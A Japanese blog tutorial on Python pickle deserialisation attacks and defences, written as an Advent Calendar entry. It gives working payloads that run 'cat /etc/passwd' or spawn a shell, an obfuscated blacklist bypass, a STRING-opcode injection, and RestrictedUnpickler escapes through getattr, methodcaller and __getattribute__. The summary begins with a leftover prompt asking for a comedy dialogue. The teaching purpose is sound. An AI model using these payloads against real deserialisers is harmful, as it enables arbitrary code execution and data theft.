危険なpickleの作り方とその防ぎ方
脆弱エンジニアの Advent Calendar 2024 9日目参加記事です。
Pickleとは?
pickleとは、pythonオブジェクトをバイト列として保存(シリアライズ)しておくための形式のひとつです。
次の簡単な例を見てみましょう。
import pickle
payload = {'key1': 0, 'key2': [True, (1,2)]}
pkl = pickle.dumps(payload)
print(pkl) # b'\x80\x03}q\x00(X\x04\x00\x00\x00key1q\x01K\x00X\x04\x00\x00\x00key2q\x02]q\x03(\x88K\x01K\x02\x86q\x04eu.'
# .hex()は、バイト列を16進数の文字列として表現する
print(pkl.hex()) # 80037d71002858040000006b65793171014b0058040000006b65793271025d710328884b014b0286710465752e
pickle.dumps
関数は、オブジェクトをpickleに変換する関数です。結果はバイト列であることが確認できます。
次に、pickle.loads
を使ってpickleをオブジェクトに戻します。(デシリアライズ)
import pickle
payload = bytes.fromhex("80037d71002858040000006b65793171014b0058040000006b65793271025d710328884b014b0286710465752e")
result = pickle.loads(payload)
print(result) # {'key1': 0, 'key2': [True, (1, 2)]}
このように、pythonの基本的なデータ型であればバイト列として変換しておくことができます。
pickleの危険性は、デシリアライズ時に任意コード実行が可能であるという点です。次の例を見ましょう。
import pickle
import os
class Evil:
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
obj = Evil()
print(pickle.dumps(obj).hex()) # 800363706f7369780a73797374656d0a7100580f000000636174202f6574632f70617373776471018571025271032e
payload = bytes.fromhex("800363706f7369780a73797374656d0a7100580f000000636174202f6574632f70617373776471018571025271032e")
# pickle.loads()は、オブジェクトを復元する過程で__reduce__で定義された関数を実行する。
pickle.loads(payload) # cat /etc/passwdが実行される
このように任意コードが実行されることは、公式ドキュメントにも注意喚起されています。
一般的な話をすれば、
- pickleを使わなくて良いなら使わない
- 使う場合は、かならず信頼できるデータのみを利用する
という使い方をしなければなりません。この記事では、危険性のあるpickleを判定する方法について少しだけ論じますが、必ず危険を避けられると保証するわけではないのでご注意ください。
ツールの紹介
説明にあたって必要となるpickleの解析・作成ツールを紹介します。
pickletools
公式で用意されている、pickle解析用のツールです。pickletools.dis
で、pickleのバイト列をディスアセンブルできます。
import pickletools
payload = bytes.fromhex("80037d71002858040000006b65793171014b0058040000006b65793271025d710328884b014b0286710465752e")
pickletools.dis(payload)
実行結果
ディスアセンブル結果の意味については後に説明します
0: \x80 PROTO 3
2: } EMPTY_DICT
3: q BINPUT 0
5: ( MARK
6: X BINUNICODE 'key1'
15: q BINPUT 1
17: K BININT1 0
19: X BINUNICODE 'key2'
28: q BINPUT 2
30: ] EMPTY_LIST
31: q BINPUT 3
33: ( MARK
34: \x88 NEWTRUE
35: K BININT1 1
37: K BININT1 2
39: \x86 TUPLE2
40: q BINPUT 4
42: e APPENDS (MARK at 33)
43: u SETITEMS (MARK at 5)
44: . STOP
highest protocol among opcodes = 2
Pickora
pythonライクなコードをpickleに変換してくれるツールです。
import pickle
from pickora import Compiler
code = """
from builtins import print
print('hello world!')
"""
compiler = Compiler()
bts = compiler.compile(code)
pickle.loads(bts) # hello world!
pickleのバイト列の仕様を理解する
オペコードとオペランド
pickleは、オペコード(実行する命令)を表す1バイトと、それに続くオペランド(オペコードに付随するデータ)から構成されます。最も簡単な例を見てみましょう。
import pickle
import pickletools
pkl = pickle.dumps("hello")
print(pkl.hex())
pickletools.dis(pkl)
16進数
80 04 95 09 00 00 00 00 00 00 00 8c 05 68 65 6c 6c 6f 94 2e
ディスアセンブル結果
0: \x80 PROTO 4
2: \x95 FRAME 9
11: \x8c SHORT_BINUNICODE 'hello'
18: \x94 MEMOIZE (as 0)
19: . STOP
highest protocol among opcodes = 4
これを丁寧に説明すると次のようになります。
- 0バイト目(80)はオペコードがPROTOであることを示しており、PROTOはその次の1バイトがバージョン番号(今回は4)であることを示しています。
- 2バイト目(95)はオペコードFRAMEを表しており、フレームと呼ばれるスコープの開始を表します。次の8バイトがそのフレームの長さ(リトルエンディアン)を表しています。
- 11バイト目(8c)は、オペコードSHORT_BINUNICODEを表しており、これは短いユニコード文字列を格納する形式であることを示します。その次の1バイト(05)がその文字の長さであり、それに続く5バイト(68 65 6c 6c 6f)が
hello
の文字コードです。 - 19バイト目(2e)はオペコードSTOPを表しており、pickleが終了することを示します。
スタック
pickleはスタックベースのメモリを持っており、一部のオペコードはスタックの値の参照や、スタック操作を行います。次の例を見てみましょう。
import pickle
import pickletools
pkl = pickle.dumps(["foo", 1])
pkl = pickletools.optimize(pkl) # 説明のため冗長なオペコードを削除
pickletools.dis(pkl)
結果
0: \x80 PROTO 4
2: \x95 FRAME 11
11: ] EMPTY_LIST
12: ( MARK
13: \x8c SHORT_BINUNICODE 'foo'
18: K BININT1 1
20: e APPENDS (MARK at 12)
21: . STOP
- EMPTY_DICTは、スタックにからの辞書型のオブジェクトをプッシュします。
- MARKは、マークオブジェクトという特別なオブジェクトをプッシュします。
- SHORT_BINUNICODEが文字列
'foo'
をプッシュします。 - BININT1が数字の
1
をプッシュします。 - APPENDSは、マークオブジェクトまで値をポップし、さらにもう一度ポップした値(これがリスト型であると仮定する)に追加します。
- 最終的に、スタックトップがpickle.loadsの返り値です。したがって、今回はAPPENDSにより値が追加されたリストが返り値となります。
最後に、任意コード実行を行うpickleを分析してみましょう。
import pickle
import os
import pickletools
class Evil:
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
obj = Evil()
pkl = pickle.dumps(obj)
pkl = pickletools.optimize(pkl) # 説明のため冗長なオペコードを削除
pickletools.dis(pkl)
実行結果
0: \x80 PROTO 4
2: \x95 FRAME 36
11: \x8c SHORT_BINUNICODE 'posix'
18: \x8c SHORT_BINUNICODE 'system'
26: \x93 STACK_GLOBAL
27: \x8c SHORT_BINUNICODE 'cat /etc/passwd'
44: \x85 TUPLE1
45: R REDUCE
46: . STOP
- SHORT_BINUNICODEが文字列
'posix'
をプッシュします。 - SHORT_BINUNICODEが文字列
'system'
をプッシュします。 -
STACK_GLOBALは、スタック二番目の名前のモジュールからスタックトップの名前の要素を取得し、それをスタックにプッシュします。今回は
__import__('posix').system
をスタックトップにプッシュします。-
os.system
はlinux上ではposix.system
と一致します。
-
- SHORT_BINUNICODEが文字列
'cat /etc/passwd'
をプッシュします。 - TUPLE1がスタックからポップし、その値のみを含むタプルをプッシュします。
-
REDUCEは、スタックトップのタプルを引数としてスタック二番目の関数を実行します。今回は、関数
posix.system
に引数'cat /etc/passwd'
で実行します。
オペコードの仕様は、公式ドキュメントやPEP(307、3154、574)で言及されているものもありますが、その多くは、直接ソースコードを読みに行かないとわからないようになっています。
危険なケース
一見すると安全そうなpickleの利用方法であっても、実は危険なケースがあります。
ケース1: バイト列に特定の文字列が含まれているかで判断する
任意コード実行を引き起こすバイト列をバイト列として評価すると次のようになります。
b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x8c\x06system\x93\x8c\x0fcat /etc/passwd\x85R.'
したがって、例えばb'posix' in pkl
のように、怪しい文字列が出現しないかで危険かどうかを判別できるかもしれない、と考えるかもしれません。次のようなコードを考えてみましょう。
import pickle
# 任意コード実行に使用される可能性のあるモジュール名を禁止
blacklist = [
'posix',
'os',
'subprocess',
...
]
pkl = open('dangerous.pkl', 'rb').read()
assert all(word.encode() not in pkl for word in blacklist)
pickle.loads(pkl)
しかし、これではSTACK_GLOBALの仕様を利用してos.system
をインポートできてしまいます。STACK_GLOBALは、スタックされた文字列を利用してモジュールをインポートします。したがって、動的に名前が組み立てられるため、文字列単位の検証では不十分です。モジュール名や関数名をエンコード・隠蔽することで、ブラックリストによる検証を回避できます。
ここでは、base64エンコードを利用して文字列を隠してみます。
import pickora
code = """
from base64 import b64decode
from codecs import decode
module_name = decode(b64decode(b'b3M=')) # 'os'
func_name = decode(b64decode(b'c3lzdGVt')) # 'system'
system = STACK_GLOBAL(module_name, func_name)
system('cat /etc/passwd')
"""
pkl = pickora.Compiler(extended=True, optimize=True).compile(code)
assert all(word.encode() not in pkl for word in blacklist)
ディスアセンブル結果
0: \x80 PROTO 4
2: \x95 FRAME 101
11: \x8c SHORT_BINUNICODE 'base64'
19: \x8c SHORT_BINUNICODE 'b64decode'
30: \x93 STACK_GLOBAL
31: \x94 MEMOIZE (as 0)
32: \x8c SHORT_BINUNICODE 'codecs'
40: \x8c SHORT_BINUNICODE 'decode'
48: \x93 STACK_GLOBAL
49: \x94 MEMOIZE (as 1)
50: h BINGET 1
52: h BINGET 0
54: C SHORT_BINBYTES b'b3M='
60: \x85 TUPLE1
61: R REDUCE
62: \x85 TUPLE1
63: R REDUCE
64: \x94 MEMOIZE (as 2)
65: h BINGET 1
67: h BINGET 0
69: C SHORT_BINBYTES b'c3lzdGVt'
79: \x85 TUPLE1
80: R REDUCE
81: \x85 TUPLE1
82: R REDUCE
83: \x94 MEMOIZE (as 3)
84: h BINGET 2
86: h BINGET 3
88: \x93 STACK_GLOBAL
89: \x94 MEMOIZE (as 4)
90: h BINGET 4
92: \x8c SHORT_BINUNICODE 'cat /etc/passwd'
109: \x85 TUPLE1
110: R REDUCE
111: . STOP
ケース2: インジェクション
ユーザーの入力を利用し、pickleのバイト列を生のバイトのまま加工する場合、加工の方法によってはインジェクションが可能な場合があります。したがってそのような使用方法は避けるべきです。
インジェクションの方法はケースバイケースですが、ここでは次のような例を見てみます。
import pickle
import pickletools
from struct import pack
string = pickle.STRING + b"'%s'\n"
userinput = ...
string = string % userinput.encode()
pkl = (
pickle.PROTO + pack('b', 4) +
pickle.FRAME + pack('<Q', len(string) + 1) +
string +
pickle.STOP
)
pickletools.dis(pkl)
print(pickle.loads(pkl))
ここで、STRINGオペコードの実装を確認してみます。L1476
def load_string(self):
data = self.readline()[:-1]
# Strip outermost quotes
if len(data) >= 2 and data[0] == data[-1] and data[0] in b'"\'':
data = data[1:-1]
else:
raise UnpicklingError("the STRING opcode argument must be quoted")
self.append(self._decode_string(codecs.escape_decode(data)[0]))
dispatch[STRING[0]] = load_string
STRINGオペコードでは、次の形式が求められます。
- 次の改行までを
data
とする。 - dataの最初と最後が両方
'
であるか、両方"
である。
両端の'
または"
を取り除いた部分が、結果の文字列としてスタックにプッシュされます。
ここでは、userinput
に改行を含む任意のASCII文字列を入力できると仮定します。入力の途中に'\n
を入れることによって、STRINGの判定を終わらせることで、任意のバイトコードをインジェクション可能です。
ここでは、ASCII文字しか利用できないため、\x93
に対応するSTACK_GLOBALや、\x85
に対応するTUPLE1は利用できません。代わりに、t
であるTUPLEとc
であるGLOBALを利用します。
userinput = (
b"'\n" +
pickle.GLOBAL + b"os\nsystem\n" + # モジュール名[改行]メソッド名[改行]の形式で、モジュールをインポート
pickle.MARK +
pickle.STRING + b"'cat /etc/passwd'\n" +
pickle.TUPLE + # スタックのトップから、最初のマークオブジェクトまでをタプルにする
pickle.REDUCE
).decode()
print(userinput)
"""
'
cos
system
(S'cat /etc/passwd'
tR.
"""
RestrictedUnpicklerの設計とバイパス方法
RestrictedUnpicklerについて
安全なpickleの利用方法として、RestrictedUnpicklerが提案されています。これは、公式ドキュメントにも記載されている方法です。
RestrictedUnpickler
とは、pickleをオブジェクトに変換するためのクラスUnpickler
を継承して、find_class
メソッドをオーバーライドすることで、利用できるモジュールや関数を制限できます。公式ドキュメントの例を見てみましょう。
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
上記では、builtins
の一部のメソッドのみをロードできるようになっています。pickleではINST、GLOBAL、STACK_GLOBALのいずれかのオペコードでimportが行われますが、それらはすべて内部でfind_class
を利用します。
モジュールなしでpickleができないこと
pickleはモジュールを利用しない場合、次のことができません。
- メンバ変数やメソッドへの参照
- 代替メソッド:
from builtins import getattr
- 代替メソッド:
- 四則演算などの演算
- 代替メソッド:
from operator import add
など
- 代替メソッド:
- if文のような条件分岐やfor文のようなループ処理
- 関数の定義
- 代替メソッド:
from functools import partial
など
- 代替メソッド:
したがって、利用できるモジュールや関数を制限することで、pickleで可能な操作は大幅に制限されます。逆にいえば、許可するべきモジュールや関数についてはかなり慎重に選ばなければなりません。このような制限は必ずホワイトリストで行うべきです。
特に危険なimportについては、pickleの危険検知ライブラリのficklingのリストが役に立ちそうです。
以下に、一見すると安全に見えるが悪用が可能な関数をいくつか紹介します。
builtins.getattr
、operator.attrgetter
制限するべき関数1: 前回の記事にあるとおり、importを行わなくても任意コードを実行することは可能です。pickleではデフォルトで「メンバ変数やメソッドへの参照」ができないため、記事のコードは動作しませんが、それが許可された環境では任意コード実行可能です。
import builtins
import io
import pickle
import pickora
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name == 'getattr':
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
code = """
[].__class__.__class__.__subclasses__([].__class__.__class__).__iter__().__next__().register.__builtins__.__getitem__('__import__')('os').system('sh')
"""
pkl = pickora.Compiler(extended=True, optimize=True).compile(code)
print(restricted_loads(pkl))
operator.methodcaller
制限するべき関数2: operator.methodcaller
は次のような動作をする関数です。
operator.methodcaller("encode", "utf-8")("foobar")
# これは以下と同義
# "foobar".encode("utf-8")
これと__getattribute__
関数を利用することで、実質的にgetattr
と同じようなことができます。以下はすべて同義です。
os.system
os.__getattribute__('system')
operator.methodcaller("__getattribute__", "system")(os)
ただし、クラスに対して__getattribute__
を直接利用できません。これは、__getattribute__
はクラスメソッドとして扱われるためです。
str.__getattribute__('__class__')
# Traceback (most recent call last):
# File "<stdin>", line 1, in <module>
# TypeError: expected 1 argument, got 0
したがって、__class__
を利用しないRCEコードであれば、operator.methodcaller
のみでRCEを行うことができます。
import io
import pickle
import pickora
from operator import methodcaller
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "operator" and name == 'methodcaller':
return methodcaller
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
# 以下は次と同義
# [].__reduce_ex__(4).__iter__().__next__().__builtins__.__getitem__('__import__')('os').system
code = """
from operator import methodcaller
methodcaller('__getattribute__', 'system')(methodcaller('__getattribute__', '__getitem__')(methodcaller('__getattribute__', '__builtins__')(methodcaller('__getattribute__', '__next__')(methodcaller('__getattribute__', '__iter__')(methodcaller('__getattribute__', '__reduce_ex__')([])(4))())()))('__import__')('os'))('sh')
"""
pkl = pickora.Compiler(extended=True, optimize=True).compile(code)
print(restricted_loads(pkl))
__
から始まる関数
制限するべき関数3: 注意すべき点として、デフォルトでは__
から始まる関数もimportできてしまうということです。これらの関数はいずれも危険な動作を引き起こす可能性が高いため、制限対象とすべきです。
- 例1:
__getattribute__
__getattribute__
がimportできる場合、importが禁止されているメソッドを実質的にimportができます。
以下は、禁止されたbuiltins.print
を実質的に利用する方法です。chal_un_getattribute.pyimport builtins import io import pickle import pickora class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == "builtins" and name != 'print': return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() # 以下は次と同義 # print('foobar') code = """ from builtins import __getattribute__ __getattribute__('print')('foobar') """ pkl = pickora.Compiler(extended=True, optimize=True).compile(code) restricted_loads(pkl)
- 例2:
__dict__
まとめ
これまでの記事の締めとしてのまとめを書いてください。ただし、二人の漫才師の掛け合いの形式で行ってください。
ツッコミ役(A):
「というわけで、今回は危険なpickleの話をしてきましたけど、いかがでした?」
ボケ役(B):
「いやー、pickleって食べ物かと思ってたけど、どうやらデジタルな漬物みたいなもんやな!」
A:
「誰が漬物やねん!確かにデータを漬け込むみたいなとこはあるけど、任意コード実行とか漬物にしては物騒すぎるやろ!」
B:
「でもさ、RestrictedUnpicklerってのがあるんやろ?それで安心やん!」
A:
「いや、それが安心とは限らんのよ!ブラックリストじゃなくてホワイトリストで制限しても、getattrとかmethodcallerみたいなやつが裏口みたいに潜り込んでくるんや!」
B:
「えっ、じゃあ結局どうすればええの?」
A:
「簡単や。pickleは信頼できるデータでしか使わん!
それと、もし使うなら、署名とかハッシュで改竄されてないかチェックすることも大事や。」
B:
「じゃあ、pickle使わんほうがええってこと?」
A:
「うん!JSONとかProtobufとか、より安全なフォーマットを使うのが一番や!pickleは便利やけど、危険も多いからな。」
B:
「じゃあ今回の教訓は、『漬物は安全に漬けよう!』ってことやな!」
A:
「いや、だから誰が漬物やねん!というわけで、みなさんもpickleの取り扱いには気をつけて!」
B:
「最後はちゃんと冷蔵庫に入れてね~!」
A:
「せやから漬物ちゃう言うてるやろ!」
(幕)
Discussion